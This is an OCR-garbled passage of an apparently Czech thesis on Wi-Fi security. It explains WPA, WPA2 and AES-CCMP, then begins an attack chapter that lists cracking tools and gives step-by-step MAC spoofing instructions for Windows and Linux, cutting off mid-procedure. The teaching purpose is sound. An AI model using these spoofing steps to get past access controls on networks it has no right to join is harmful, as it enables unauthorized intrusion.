Hlavni vyhody WPA zabezpeceni proti WEP.

e Autentizace podle 802.11X — protokol EAP nebo alternativné
PreShared Key (sdileny kli¢)
e Protokol pro Sifrovani dynamickym kli¢em - TKIP

e Kontrola integrity zprav algoritmem MIC (ptezdivany Michael)

7 802.11i pouziva WPA mechanismy pro Sifrovani pfenaSenych dat a
fizeni pfistupu do sité¢. Pro Sifrovani se standartn¢ vyuzivda TKIP. WPA
definuje 1 standart AES (Advanced Encryption Standart) jako moZnou nédhradu
TKIP, ale u existujicich zafizeni neni mozné piidat podporu standartu AES
softwarové (upgradem firmwaru), proto je podpora nepovinnd a zalezi na

vyrobci zda ji implementuje, nebo ne. Vice o AES v kapitole 3.7.

3.6.1 TKIP - Temporal Key Integrity Protocol

Temporal Key Integrity protokol (TKIP) vyuziva Sifrovaci algoritmus
RC4. Kli¢ ma standartni délku 128 bitd(1). Hlavnim vylepSenim oproti WEPu
je pouziti dynamickych docasnych klict. Automaticky klicovy mechanimus
méni docasny kli¢ kazdych 10 000 paketl. Tim je odstanéna bezpecnostni

chyba WEPu, kde bylo mozné odposlechem dostatecného mnozstvi paketii kli¢

>V dobé vydani WPA nebyl standart 802.11i dokon&en, proto WPA vychazi z jeho 3. navrhu
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odvodit. U TKIP nelze zachytit dostatecné mnozstvi paketii daného tajné¢ho
klice. Maximum je 10000 paketi poté se kli€ zméni. Pro odvozeni
128-bitového tajné¢ho klice je potieba pifiblizn¢ 700 000 az 1 000 000 paketi

Sifrovanych timto klicem.

3.6.2 MIC - Message Integrity Check

Specialné pro WPA byl Neilem Fergusonem navrzen algoritmus pro
nelinearni kontrolu ptenasenych dat tzv. Message Integrity Check (MIC)
nahrazujici jednoduchy kontrolni soucet (CRC) pouzivany u WEPu. MIC
zabezpecuje kontrolu integrity, aby znemoznil Gto¢nikovi zménu zpravy pfi
nebo po prenosu (1). MIC pro kazdy paket odvodi z hlavniho klice sviij vlastni
MIC kli¢. Z odvozené¢ho MIC kli¢e a virtudlni hlavicky obsahujici MAC
adresy odesilatele a adresata, se spocitd osmibajtova hodnota MIC a umisti se
mezi datovou cast rdmce IEEE 802.11 a étyibajtovou hodnotu ICV (viz.
kapitola 3.3.2)(8). Pole kontrolniho souctu MIC je Sifrovano spolecné s daty
ramce a hodnotou ICV (7). Jak vypada WPA ramec s MIC 1 ICV

WPA ramec 802.11

Inicializaéni Vektar Integrity Check Value

/

I

802.11 Header \Y] ¥ Data MIC IC\/

Obrazek ¢. 10 WPA ramec

V navrhu 802.111 se pocita se zabezpeCenim Wi-Fi siti riiznych druha, od
domaci sité s nckolika stanicemi az po velké podnikové sité, proto WPA

obsahuje dva médy v kterych miize pracovat. Témi jsou:

e Enterprise

e Pre-Shared Key

3.6.3 WPA - Enterprise

Najde uplatnéni hlavné ve vétSich sitich pozadujicich maximalni
zabezpeceni (napt. podnikova Wi-Fi sit’). Kazdy uzivatel mé jiné ptihlasovaci
udaje (kli¢). K ovétfeni téchto udajli pouziva autentifikacni server RADIUS
nebo Kerberos. O povoleni pfistupu ksiti nerozhoduje AP, ale praveé

autentizani server. Oproti PSK moddu poskytuje vyssi zabezpeceni.
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Autentizace se provadi ptes EAP-TLS (EAP-Transport Layer Security)
definovaném v RFC 2716, ktery =zajiStuje bezpe¢nou komunikaci mezi
klientem a autentifikaénim serverem. Pouziva systém vetejnych klict v podobé
certifikdti. Toto uspotadani dovoluje bezpeéné ovéefeni uzivatele a
autentizacniho serveru a zabranuje utokim typu man-in-the-midlle (muz
uprostied). Klient pouzije sviij vefejny kli¢ k zaSifrovani a deSifrovani zprav
mezi nim a serverem. Ke své zpravé ptida digitalni podpis pomoci svého
soukromého klic¢e a server si pomoci vetejného klice z certifikatu klienta ovéii
pravost podpisu. Stejny postup pouzije i klient pro ovéfeni pravosti

autentifikac¢niho serveru.

3.6.4 WPA - Pre Shared Key (PSK)

Resenim pro domaci sité nebo mensi podnikové sité je pravé
WPA — PSK. K ovéfeni klienta pouziva sdileny kli¢, ktery musi znat kazdé
zafizeni, které se chce do sité piipojit. O vysledku autentizace rozhoduje AP,
podle klientem poskytnutého kli¢e. Pokud kli¢ poskytnuty klientem souhlasi

s kli¢em ulozenym v AP, je klient je uspéSné autentizovan.

3.7 WPA2 (802.11i)

V cervnu roku 2004 byl vydan zatim nejnovéjsi standart 802.71i znamy i
pod nazvem WPA2. Je oznaCovan za finalni feSeni zabezpeceni bezdratovych
siti. Ma proto dobré ptedpoklady. Oproti svému piedchidci WPA, ktery
implementoval pouze vybrané ¢asti standartu 802.11i, WPA2 je plnou
implementaci tohoto standartu. V praxi to znamena, Ze vyzaduje hardwarovou
podporu ze strany vyrobcl, piedevSim kvili algoritmu AES (Advanced
Encryption Standart), ktery se bez hardwarové podpory neobejde. Proto WPA2
najdete predevS§im na zatfizenich vyrobenych aZ po roce 2004. U ¢&asti, které

jsou stejné u WPA 1 WPA2, odkéazi na popis v kapitole o WPA.

Hlavnim cilem standartu je aby byl flexibilni a zaroven poskytoval
bezpecny ramec pro podnikové Wi-Fi sité. To znamena, Ze obsahuje (stejné
jako u WPA) dva zplisoby zabezpeceni a to:

e Enterprise,

e Pre-Shared Key.
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Oba mody jsou v principu shodné s jiz popsanymi moédy v ¢asti 3.6 o

WPA, proto se jejich podrobnym popisem nebudu zabyvat.

3.7.1 Autentizace

Hlavni rozdil byl zminén uz v kapitole o WPA a je v tom, ze pfi navrhu
bezdratové sité je mozné zvolit riiznou troven zabezpeceni. Pro podnikové sité
je dilezité¢ zabezpeCeni a to i bez ohledu na vyss$i ndklady. 802.11i dale
rozsifuje tyto moznosti. Pro tento pfipad je autentizace klientd v siti mozno
provadét na vysSich vrstvach modelu ISO/OSI pomoci protokold EAP.
Narozdil od WPA vytvofeného Wi-Fi Allianci, kde bylo moZno pouZivat pouze
EAP-TLS, se tvurci 802.11i zdrzeli doporuceni jakéhokoli EAP protokolu.
Mame na vybér z mnoha zpisobi autentizace. Standartem je EAP-TLS, pravé

diky jeho nasazeni ve WPA. Dale lze vyuzit nasledujici metody:

= Kerberos,

= EAP-LEAP,
= EAP-MDS,
= EAP-PEAP,
= EAP-TTLS,
= EAP-SIM.

Je dulezit¢ aby nami zvolené autentizacni schéma bylo podporovano
vSemi 802.11x zafizenimi. Hlavné autentizacnim serverem (Radius nebo
kerberos) a klientskymi stanicemi. Ty museji byt vybaveny pfislusSnym
“prosebnickym” softwarem (supplicantem - viz. kapitola 3.5). Pokud se
rozhodneme pouzit EAP-TLS musime mit kompaktibilni klientsky software

nainstalovany na stanicich a Radius server podporujici EAP-TLS.

Pouziti autentifikacniho serveru Radius ndm dava moznost spolehlivé

tidit pristupy do bezdratové sité.

Za zminku stoji 1 PSK méd jako néhrada za autentifikaéni server vhodny
pro mensi sité. 802.11i v tomto moédu ma mnohem vyssi rezijni ndroky na
prenosovou kapacitu sité, predev§im kvuli spravé sdilenych kli¢i. Ve chvili
kdy je do bezdratové sit€¢ v modu PSK piipojeno nékolik desitek pocitacu je

vyhodnéjsi pouzit Radius server, protoze mnohem vys$§i Cast prenosové

-31-



kapacity sit€ je pouzita na spravu (vyménu) klica stanic nez v ptipadé modu s
autentifikaénim serverem. V Enterprise modu spravuje kli¢e autentifikacni

SErver.

3.7.2 Sprava klicu

V 802.11i jsou dva typy algoritmi ke generovani a spravé klich.
Algoritmus pouzivajici ke spravé klica server (Enterprise mod) a algoritmus
pouzivajici sdilené kli¢e (Personal mod). Pokud chceme maximalné vyuzit
standart 802.11i pottebujeme autentifikacni server, ktery bude spravovat a
generovat klie. Pro mensi organizace a domdéci uzivatele mizeme pouzit
sdileny klic.

Dale je nutné zduraznit, Ze stejné schéma spravy kli¢t pouzivda WPA i
802.11i. WPA klice se lisi pouze svoji délkou zpusobenou rozdily mezi TKIP
(Temporal Key Integration Protocol viz. kapitola 3.6 TKIP) a AES-CCMP
(Counter Mode with CBC-MAC).

Na vrcholu hierarchie serverovych kli¢t je PMK (pairwise master key —
hlavni kli¢). Za jeho vytvoteni zodpovida autoriza¢ni protokol (napt. EAP-TLS
a dalsi) pouzity v pribéhu 802.11X autorizace a autentifikacni faze. Protokoly
standartu 802.11X vygeneruji docasny kli¢ a z n¢ho autentifikacni server a
klientsky software stanice vygeneruji par identickych klict PMK. Tim je
autentifikacni proces u konce. Server i stanice maji stejny kli¢, ale ptistupovy
bod potiebuje také kopii PMK klice. WPA pouZije autentifikani server
(nejcastéji Radius) k zkopirovani klice ptistupovému bodu. 802.17i (WPA2)
neurcuje zpusob jakym se dostane kli¢ k autentifikatorovi (AP). V tuto chvili
maji stejny kli¢ server, AP i stanice. Stidle ale neni dovoleno stanici
komunikovat. Nyni mizeme pomoci PMK vygenerovat Ctyii doc¢asné klice pro

Sifrovani a integritu.

Prvni dva kli¢e slouzi k Sifrovani a kontrole integrity pfenaSenych dat.
Dalsi dva kli¢e k ochrané¢ navazovani komunikace EAPOL (tzv. EAPOL
handshake) mezi dvéma zafizenimi. Vytvoii se nasledujici docasné klice:

e datovy Sifrovaci kli¢ (128 bitl),
e datovy integritni kli¢ (128 bitl),
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o FEAPOL sifrovaci kIi¢ (128 biti),
o FAPOL integritni kli¢ (128 bith).

Tyto klice se se nazyvaji doCasné protoze jsou generovany pii kazdém
ptipojeni stanice do sit€. Tyto se dohromady nazyvaji pairwise transitient key
(PTK) o celkové délce 512 bith. Prvek ndhody pii generovani do¢asnych klict
se zajiSt'uje tak, ze ob¢ zatizeni vygeneruji své klice a ptidaji je k PMK. Poté
pfidaji jest¢ MAC adresy vSech propojenych zafizeni, aby byla zajiSténa

rovazanost kli¢u s témito zafizenimi. Z tohoto “mixu” vygeneruji PTK.
y

Poslednim krokem pted povolenim nebo zakézanim stanici ptistup do
sit¢ je prokdzani identity ptistupového bodu autentifikacnimu serveru. AP se
musi prokazat sprdvnym PMK. Zkopirovani PMK na AP se musi provést pies
zabezpeCeny kandl. Volba typu kanalu je na uzivateli (podporovany typ
autentizace dle standartu 802.11X). Nasledujici navazani komunikace se
nazyva four-way exchange. Nastavad v prubchu generovani docasného klice.
Pokud je tento proces Uspésné dokoncen, klient ziskava ptistup k siti.

Prbéh piipojeni

1) Klient 1 autentizator (napt. Radius server) vygeneruji ndhodna data.
2) Vygeneruji se doc¢asné klice (PTK)
3) Klient se prokaze autentizatorovi spravnym PMK kli¢em

4) Autentizator ma ovéten PMK kli¢ klienta

5) Mezi obéma zafizenimi je vytvoren Sifrovany kanal

Protoze v siti se pouzivd i broadcast. Definuje standart 802.11i 1
zabezpeceni broadcastové komunikace. K tomu se pouziva doc¢asny skupinovy
kli¢ (GTK), protoze PTK kli¢ je jedine¢ny pro kazdého klienta. Sifrovéni
broadcast komunikace je ucin€j$i pouziva-li se stejny kli¢ k zaSifrovani i
deSifrovani zpravy (symetrickd Sifra). Jakmile mohou klienti pouZivat sviij
unikatni PTK kli¢ je neefektivni pouzivat pro broadcast asymetrické Sifrovani
(vefejny a soukromy kli¢). Vytvareni a distribuce GTK se provadi pies kanal
zabezpeceny pomoci PTK klice, jakmile se klient ispéSné€ ptipoji k AP. Postup
je nasledujici:

1) AP vygeneruje 256-bitové ndhodné cislo — hlavni skupinovy kli¢
(GMK)
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2) GMK se pouzije k vytvoreni skupinového Sifrovaciho klice (GEK) a
skupinového integritniho kli¢e (GIK)

3) Spojenim téchto kli¢h vznikne GT7K neboli docasny skupinovy Kkli¢
(GTK).

Ptistupovy bod rozesle GTK vSem klientim, ktefi budou pouzivat
broadcast. Postup tvorby a spravy kli¢ii je stejny pro Sifrovaci algoritmy 7KIP i
AES-CCMP. Tyto dva Sifrovaci standarty jsou definovany standartem 802.11i.
Jedinné v ¢em se oba algoritmy lisi je pocet generovanych kli¢t. Prehled klica

jednotlivych algoritmti zobrazuje tabulka ¢. 3.

Tabulka ¢. 3 Piehled kli¢a algorimi TKIP a AES-CCMP

TKIP AES-CCMP
Docasné klice
Datovy Sifrovaci kli¢ (128 biti) Datovy/integritni Sifrovaci kli¢ (128
Datovy integritni kli& (128 bit) bitt)

EAPOL sifrovaci kli¢ (128 bitt) EAPOL sifrovaci kli¢ (128 bitt)
EAPOL integritni kli¢ (128 biti) EAPOL integritni kli¢ (128 biti)
Skupinové klice
Skupinovy Sifrovaci kli¢ (128 bitl) Skupinovy Sifrovaci/integritni kli¢
Skupinovy integritni kli¢ (128 bitil) (128 bith)

Celkova velikost kli¢i (bit)
768 512

Popis Sifrovaciho algoritmu TKIP naleznete v ¢asti o WPA (kapitola
3.6.1 WPA). V standartu 802.111 je implementovan stejné. Nyni néco o jeho

nastupci.

3.7.3 AES-CCMP

I kdyz je TKIP podporovan standartem 802.11i stale je to jen vylepSeni
puvodniho WEPu s Sifrou RC4. Wi-Fi aliance se s uvedenim konceptu RSN
(Robust Security Network) zavazala k zavedeni nového Sifrovaciho algoritmu,

ktery bude zcela bezpecny. Tim je AES-CCMP. Jak nazev napovida vychazi
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z Sifrovaciho algoritmu AES (Advanced Encryption Standart), ktery vyvinula
Americké vlada a pouziva ho k Sifrovani svych dokumenti. 4ES dosud nebyl
prolomen. AES-CCMP vyvinuli D. Whiting, N. Ferguson a R. Housley pro
standart 802.11i. AES muze vyuzivat klice o délce 128, 192 a 256 bitt., ale
standart 802.11i podporuje pouze 128-bitovy AES.

AES je blokova Sifra. To znamend, Ze miZe Sifrovat a deSifrovat pouze
bloky o délce 128 biti. Kazda zprava se rozdéli na 128 bitové bloky. Pokud
délka dat neni délitelnd 128 bity rozsiii se libovolnymi daty na 128 bitovou
délku. Rozsifeni zprav o kratké délce zajistuje algoritmus CCMP. Pied
zaSifrovanim zpravu ,,vycpe“ na pozadovanou délku a po deSifrovani
»vycpavku* odstrani. CCMP je kombinace dvou technik nazyvanych Counter
Mode Encryption (CME) a CBC-MAC. CME pocitadlo ptidava Ccislo
Sifrovaného bloku k AES docasnému kli¢i. Funkci XOR na cisty text a AES
docasny kli¢ + CME hodnota vznikne Sifrovany text. Hodnota CME pocitadla
se zvysuje s kazdym zaSifrovanym blokem dat o uréitou hodnotu. Uto¢nik
potiebuje znat docasny kli¢ a hodnotu CME pocitadla pro dany blok, aby ho
dokazal desifrovat. Pro desifrovani dalSich bloki by musel védét o kolik se
zvysuje hodnota CME pocitadla s kazdym blokem. Pribéh Counter Mode
Sifrovani ukazuje obrazek €. 11.

Nonce Counter MNonce Counter Monce Counter
€59bcf35... 00000000 c59bef35... 00000001 c59bef35... 00000002

[ I 111 [11 [
L ' L

Key = Block Cipher Key = | Block Cipher Key = | Block Cipher
Encryption Encryption | Encryption

Plaintext o Plaintext = Plaintext -

v v
[TITTTTIITTIITTTd ENINIRERERERARN RERERRINEREREEE
Ciphertext Ciphertext Ciphertext

Counter (CTR) mode encryption

Obrazek ¢. 11 AES-CCMP (2)

Counter je hodnota CME pocitadla. Nounce je obdoba inicializa¢niho
vektoru (IV) vytvotfend algoritmem CCMP. Nounce se také piida k doc¢asnému
kli¢i a pouzije se k zaSifrovani Cisté¢ho textu (plaintext). V AES-CCMP se
nenazyva IV, ale PN hodnota. Jeji délka je 48 bitli a je obsazena v hlavicce

zaSifrované zpravy. PN hodnota se pouziva jako zaklad pro vytvoreni nounce a
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pro zvySeni hodnoty pocitadla. Timto postupem Sifrovani je =zajiSténa

bezpecnost zpravy.

Integrita zprav je v AES-CCMP zajisténa algoritmem CBC-MAC. Ten

vezme prvni 128 bitovy blok dat a zaSifruje ho AES algoritmem. Poté pouzije

funkci XOR na druhy 128 bitovy blok. Takto pokracuje dokud neni spoctena

cela MIC (kontrolni soucet zpravy). Poté vytvoii 128-bitovy blok integritniho

kodu. Sance na zjisténi této hodnoty je 1:10". Tim je zajiténa integrita zpravy

pfi pfenosu.

3.8 Srovnani jednotlivych zabezpeceni

Srovnani jednotlivych driht zabezpeceni z hlediska bezpecnosti ukazuje

tabulka ¢&. 4.

Tabulka ¢. 4 Porovnani Sifrovacich algoritmu (9)

802.11i
WEP WPA (WPA2)
autentizace oteviend EAP-TLS nebo EAP-TLS nebo
. v PEAP PEAP
Sifrovani staticky WEP TKIP AES
utok: odolnost
na integritu,
divérnost dat, dobra lepsi nejlepsi
man in the p Jiep
middle
faleSna Spatna nejlepsi nejlepsi
autentizace p Jiep Jiep
na slaby kli¢ Spatna nejlepsi nejlepsi
falSované pakety | minimalni lepsi lepsi
pro domaci sit’ . .» | pro podniky i
| (40-nebo 104 | Propodnikovousit |y g og
uroven Sifrovani A (128 bitovy klic, 48 | ..~ T
bitovy kli¢, 24 bitovy vektor IV) bitovy kli¢, 48
bitovy IV) Y bitovy IV6)

IV se v 802.11i nazyvaji PN hodnota.
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Doporuceni ohledné¢ uplatnéni WEP, WPA nebo WPA2 s ohledem na

vyuziti v riznych typech siti je shrnouto v tabulce €. 5.

Tabulka ¢. 5 Doporucdené uplatnéni jednotlivych zabezpeceni (9)

pouZitelnost pouzitelnost
autentizace | Sifrovani pro podnikové | pro domaci a
sité malé sité
WEP nulova WEP nic moc dobra
WPA : N
(PSK) PSK TKIP nic moc nejlepsi
WPA2 ) N
(PSK) PSK AES-CCMP | nic moc nejlepsi
WPA (plnd) | 802.11x TKIP lepsi dobra
WPA2 802.11x AES-CCMP | nejlepsi dobra
(plnd)
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4 Prolomeni zabezpec€eni Wi-Fi

Z hlediska dostupnosti je bezdratova sit’ idedlnim médiem pro prolomeni.
Je velmi snadno dostupnd ve srovndni s dratovymi sitémi a poskytuje
uto¢nikovy urcitou anonymitu dannou S$ifenim Wi-Fi signalu. Ten Ize s
pouzitim smérové antény zachytit 1 na velkou vzdélenost od piistupového

bodu.

Pro¢ se nabouravat do cizich siti? Divodli mize byt mnoho. V lepSim
ptipad¢ si chce jen nékdo ovéfit, zda to jde nebo jestli to dokaze. Dalsi
motivaci je internet zdarma. Velké mnozstvi Wi-Fi siti je budovano pravé za
ucelem distribuce internetu nebo sdileni dat (napt. firemnich). Velmi tézce by
jste v dnesni dobé hledali sit), ktera do internetu neni pfipojena. Jiny uto¢nik
muze mit za cil “Spehovat” uzivatele (ptes jejich pocitace). Toho lze dosdhnout
odposlechem (tzv. sniffing). Je mozné zjistit, které stranky si uzivatel pravé
prohlizi, zachytavat zpravy komunika¢nich programt, které nejsou vétSinou
nijak zabezpecené a zpravy se prendseji jako ASCII znaky (napt. ICQ), nebo
email, ktery je na tom ve valné vétSin€ ptipadi stejné jako jiz jmenované ICQ
nebo dokonce zjistovat hesla pfenasena nesifrované. Pokrocily uto¢nik dokaze
zjistit o uZivateli pocitate velmi mnoho. VétSina lidi si to neuvédomuje a
neklade diraz na zabezpeCeni svych pocitacl. Zvlast¢ soukromé pocitace
byvaji velmi “déravé” proti riznym utokiim. Ve firemni sféfe je situace lepsi.
VétSina managerti si uvédomuje dulezitost svych dat a nevaha investovat do
rizného bezpecnostniho softwaru (napt. firewally, antiviry a rlzny
antispyware) a hardwaru (napf. sitové prvky od renomovaného vyrobce, ktery
je zarukou, ze firmware jeho vyrobkl neobsahuje néjaké bezpecnostni chyby).
Nejlepsim feSenim zabezpeceni pro firmy je, dle mého ndzoru, zkuseny
spravce sité, ktery dokaze slaba mista v siti odstranit jiz pfi navrhu sité, nebo
dodatecnymi Upravami v nastaveni firewalll, routerd, AP, servert, atd.
Obrazek o stavu zabezpeceni bezdratovych siti je mozné si udélat prijezdem z
jednoho konce meésta na druhy se zapnutym notebookem vybavenym
softwarem na monitorovani bezdratovych siti. Pravdépodobné zjisti, ze vétSina

siti je zabezpecena jen velmi slabé.
Vyjimkou nejsou ani zcela nezabezpecené sité lidi, ktefi si koupili Wi-Fi
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AP a jak ho vybalili z krabice, tak ho 1 ponechali. Tim v podstaté¢ jakoby
otevieli branu do své¢ sit¢ dokofan. Pfipadny narusitel, nemusi mit zddné hlubsi
znalosti siti, sta¢i mu jen se pfipojit pomoci notebooku nebo jiného zatizeni.
AP mu ptes DHCP ptidéli adresu a doty¢ny ziskal pristup do sité. Pokud by
mél chut’ si trochu zaradit s vasSim zafizenim sta¢i mu zjistit znacku zatizeni
(neni vyjimkou, Ze se nekteré AP maji jméno vyrobce a typ zatizeni piimo v od
vyrobce nastaveném SSID napf. G664 wireless) a stdhnout si manudl ze
stranky vyrobce. V ném se doctete vyrobcem piednastavenou IP adresu, login a
heslo. Pomoci téchto udaji, neni problém pies webové rozhrani pristupového
bodu meénit jeho nastaveni. VéEétSinu uzivatell odradila pravé slozitost
nastavovani a to 1 pfes webové rozhrani (napt. zadavani klich WEP ¢i WPA do
AP a klienta je pro mnoho nezkuSenych uzivateli problém). Proto zavedla Wi-
Fi Alliance volitelny program “Wi-Fi Protected Setup™ (dale jen WPS).
Zatizeni, které splnilo podminky tohoto programu je velmi snadno
konfigurovatelné na vysokou troven zabezpeceni. Konfigurace se provadi bud’
stisknutim “jediného knofliku” na AP a klientovi nebo zadanim PINu (4 nebo
8 Cislic) na pristupovém bodu. V ptipadé “jediného knofliku” PIN vygeneruje
pristupovy bod a zobraziho na monitoru v druhém ptipad¢ je PIN piednastaven

v zafizeni a dodavan spolu s nim na pfiloZené karticce.

V dalsi fazi WPS (jesté v prvni puli letoSniho roku) pocita s vyuZzitim
tokenli nebo bezkontaktnich karet pro bezdratovy pienos, na nichz jsou
informace potfebné pro konfiguraci zabezpeceni ulozeny, takze neni jiz tfeba
zadavat Zadné kody ¢i hesla ruéng. Dalsi pfipravovanou variantou WPS je
vyuziti USB paméti flash, jejimz prostfednictvim se manualné prenesou
pottebné informace do vSech klientskych zafizeni v siti. Posledné jmenovana

zafizeni, kterd se maji ptipojit, fyzicky obejit (9).

Nejhorsi co miize spravce sité potkat je utocnik, ktery se nezastavi jen u
zabezpeceni Wi-Fi, ale po jejim prolomeni bude pokracovat dal s cilem ziskat
kontrolu nad ¢asti sit€¢ nebo dokonce siti celou. Cesta vede pies aktivni prvky
tedy ptistupové body, routery nebo servery. Pokud uto¢nik ziska heslo spravce
pro ptistup k aktivnimu prvku sité, ziska nad nim plnou kontrolu, mize zménit

jeho nastaveni a pristupova hesla a mize se stit, ze ani opravnény
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administrator se k nastaveni zafizeni nedostane. Musi ho ru¢né resetovat a
znovu nastavit v piipadé ptistupového bodu, pokud by se jednalo o server, je
situace jesté hor$i. V nejhorSim piipadé muze utocnik smazat vSechna data a

server vyiadit z provozu.

Proto aby spravce sité véd¢l jak se proti témto utokiim branit nebo jak je
rozpoznat, mé&l by védét jaké jsou druhy utokli a znit na jakém principu

funguji.
V této kapitole se budem zabyvat nasledujicimi typy ttokd:

1. MAC spoofing,

WEP cracking (rozlusténi WEP klice),

PSK cracking ( utok hrubou silou, slovnikovy utok ),
Analyza provozu,

Denial of Service (DoS),

A i

Man-in-the-middle (muz uprostred).
Potfebné vybaveni:

e pocitac (nejlépe notebook) vybaveny Wi-Fi kartou a anténou,

e software na detekci sit¢ — Kismet (Linux), Network Stumbler
(Windows),

e program na zachytdvani a deSifrovani provozu — Aircrack,
Airsnort (ob¢ platformy),

e voliteln¢ program na injektdz paketl — utilita airplay z baliku
Aircrack,

e analyzator provozu — Ethereal, WireShark, tcp-dump.

Pro prolamovani WEP zabezpeceni je, podle mého nazoru, vhodné&;jsi
Linux nez Windows XP. VétSina programu pro tento ucel je na Windows
portovana z Linuxu a neziidka se pii jejich béhu objevi kritickd chyba (modra
obrazovka s ozndmenim o restartu) a n¢kolik vtefin poté nasleduje automaticky
restart. Konkrétné portovany aircrack-ng havaroval do nékolika vtefin po
zacatku odpolechu provozu na Wi-Fi kart¢ SMC286W-G Wireless. Karty Intel
PRO Wireless 2200abg ani PCMCIA Atheros CM9 se mi s Aircrackem pro
Windows rozeb¢hnout nepodafilo. Pod OS Linux s Zadnou zkaret nebyl

problém.
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Dilezité pii volbé vhodné WiFi karty je predevsim jeji chipset a moznost
ptepnuti do monitor modu. V normalnim modu karta sbird jen rdmce, které jsou
pfimo pro ni (podle MAC) nebo pro vSechny (broadcast MAC
FF:FF:FF:FF:FF:FF). V modu monitor zachycuje vSechny ramce, tedy i ty
které ji nepatii (maji jinou cilovou MAC adresu). Tim je umoznén odposlech.
Nejvhodnéjsi jsou bezdratové karty s chipsety Prism a Atheros. Pro Prism pod
OS Linux jsou nejvhodnéjsi ovladace hostAP (podporuje i jiné chipsety napft.
Orinoco). S Atheros spolupracuji nejlépe linuxové ovladace MadWifi urcené

ptimo pro n€. V linuxu Ubuntu 6.10 jsou oba ovladace ptitomny uz v zékladu,

proto neni tfeba nic instalovat, ale doporucuji upgrade na nejnovejsi verzi.

Lze pouzit i linuxové Live CD (systém nabootuje z CD). Jeho vyhodou
je, Ze neni tfeba instalovat linux a mate k dispozici vSechny potiebné néstroje.
Distribuce obsahujici vSechny potiebné nastroje jsou Auditor, BackTrack nebo

Arudius.

J& jsem pouzil notebook Acer TravelMate 4102WImi s integrovanou Wi-
Fi kartou s chipsetem intell PRO Wireless 2200abg a PCMCIA Wi-Fi kartou
s chipsetem Atheros CB9 (ovlada¢ MadWifi). Opera¢ni systém Ubuntu 6.10
Edgy Eft s programy Aircrack-ng, Kismet a Wireshark.

4.1 MAC spoofing

Jednoduchy utok, kdy utonik vydava svoje sitové zafizeni’ za jiné
zafizeni nachézejici se v siti. To je uZite¢né u siti vyuzivaji filtraci MAC adres
WEP cracking, Man-in-the-middle). Uto¢nik zméni MAC adresu svého
sitového zafizeni aby odpovidala MAC adrese pocitace, ktery ma ptistup do
sit¢ povolen (jeho MAC adresa se nachazi v seznamu povolenych adres).

Nékoho mozné napadne, jak je mozné zménit adresu, kterd je jedinnecné

dana vyrobcem? Jde to velmi snadno a rychle, MAC adresu ma sitové zatfizeni

ulozeno ve firmwaru, odkud si ji pfi startu systém vyzvedne a ulozi do registrii

7 sitova ethernetova nebo bezdratova Wi-Fi karta
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(Windows) nebo do konfigura¢nich soubort (Linux). Software, ktery provadi
zménu MAC adresy, vyhleda v paméti nebo registru hodnotu aktualni MAC

adresy a zméni ji na jinou.

4.1.1 Zména MAC v OS Windows 2000 - XP

Nejjednodussim feSenim je pouzit specialni software. Dostatek
dodate¢nych funkci a jednoduché ovladani obsahuje freeware program MAC
MakeUp (obrazek ¢. 12). V horni casti vidite seznam adaptérii na nichz je
mozné zménit MAC adresu. Do pole “New address” zaddme novou adresu a
tlac¢itkem “Change” ji na vybraném adaptéru zménime. MakeUp zatizeni znovu
inicializuje a MAC je zménéna. Z nadstandartnich funkci program nabizi
generovani MAC adres od riznych vyrobcli podle databaze programu
Ethereal®. Podle MAC lze zjistit od kterého vyrobce adresa pochazi, protoze
kazdy ma pfifazen blok adres z kterého svym zafizenim adresu pridéluje.
Administrator sité¢ si mize ovéfit od kterého vyrobce pochazi vase MAC a
pokud ji vygenerujete skute¢né ndhodné nenajde k vasi MAC adrese Zadného
vyrobce a bude mu jasné, ze vase MAC je podvrhnutd. V MakeUp staci zvolit
nékterého vyrobce z nabidky “Manufacturer” a zbytek adresy doplnit ndhodné

a je nemozné zjistit, zda je vase MAC podvrhnuta nebo ne.
Druhou moZznosti je zménit adresu v registru systému.
Postup

1) Spustit ptikazovy fadek (Start / Spustit .. CMD)

2) Zadat ptikaz ipconfig /all

3) Zobrazi se aktudlni MAC adresa vybraného sitového adaptéru

4) Spustit editor registru (Start / Spustit .. regedit)

5) Kli¢ [HKEY LOCAL MACHINE — SYSTEM — CurrentControlSet —
Control -  Class{4D36E972-E325-11CE-BFC1-08002bE10318}]
obsahuje podklice 0000, 0001, 0002, 0003 a dalsi - podle poctu

nainstalovanych sitovych adaptért.

¥ program Ethereal musi byt nainstalovén, aby byla funkce dostupn.
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6)

7)

8)
9)

Adaptér, jehoz MAC adresu chcete zménit (rozlisit se daji podle MAC,
ktera se zobrazila pfi vypisu pomoci piikazu ipconfig nebo néazvu
adaptéru u polozky “DriverDesc”).

Ve vybraném podkli¢i (napt. 0000) je potieba vytvofit novou textovou
hodnotu a pojmenovat ji "networkaddress". Udaj “hodnota” bude nova
MAC adresa adaptéru. Zatimco je MAC adresa obvykle zobrazovana
napt. takto "11-22-33-44-55-66", do fadku “hodnota” musi byt zadana
v tomto tvaru "112233445566"

Provést restart pocitace

Z ptikazového tfadku (Start / Spustit .. CMD)

10) Pro ovéfeni zda se adresa zménila poslouZi opét ptikaz ipconfig /all

Mac Makellp ver. 1.95d (c) 2003-2006 H&C Worl{%

-,

Select an adapter fram the list below Ahbout Mac Makeup

=
Iw

0004 on PCI= InteliR) PROMWireless 2200BG Metwork Connection (ver, Q.D.l.Ej

~Mac address

Mew address

Manufacturer |N':'“E j m

|P extra features Cycle interface now |

|761DB4CF1B5S |  Generate random |

MAC history | Extra info
Filter wirtual interfaces v Auto Mic Off/On

15:
15:
15:

15

p i
15
15:
15:
:12:00;5hutting down Intel(R) PRO/Wireless 2200BG Metwark Connection (|
15:

06:17;Generated completely random MaC address -~
11:42;Intel{R) PROAWIreless 2200BG Network Connection can be powercyo
11:47:Generated random device ID

11:51;Generated random OID

11:53;Generated OID from database

11:56;Generated completely random MaC address

12:00;Powercycling IntellR) PROAMIreless 2200BG Network Connection (ve -

12:03;Bringin’ up Intel(R) PRO/MWireless 2200BG Network Connection (ver, ||

4.1.2

Obrazek ¢. 12 Mac MakeUp

Zmeéna MAC v OS Linux

Zménu lze provést pomoci ptikazu ifconfig z konsole systému. Postup je

nasledujici:

1) otevieme konzoli systému a piihlasime se jako uzivatel root,

2) zadame ptikaz ifconfig zobrazi se vypis vSech sitovych zafizeni v

systému pod polozkou HWadr je kazdého z nich zobrazena jeho
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3)

4)

S)

6)

stavajici MAC adresa. Vybereme si zafizeni jehoz adresu chceme

zménit.

piikazem ifconfig <interface> down zafizeni vypneme. Za
<interface> doplnime identifikator rozhrani (napi. ethO, ethl,
wifi0, atd.).

pro zménu adresy zaddme

ifconfig <interface> hw ether <NOVA_MAC>
napftiklad:
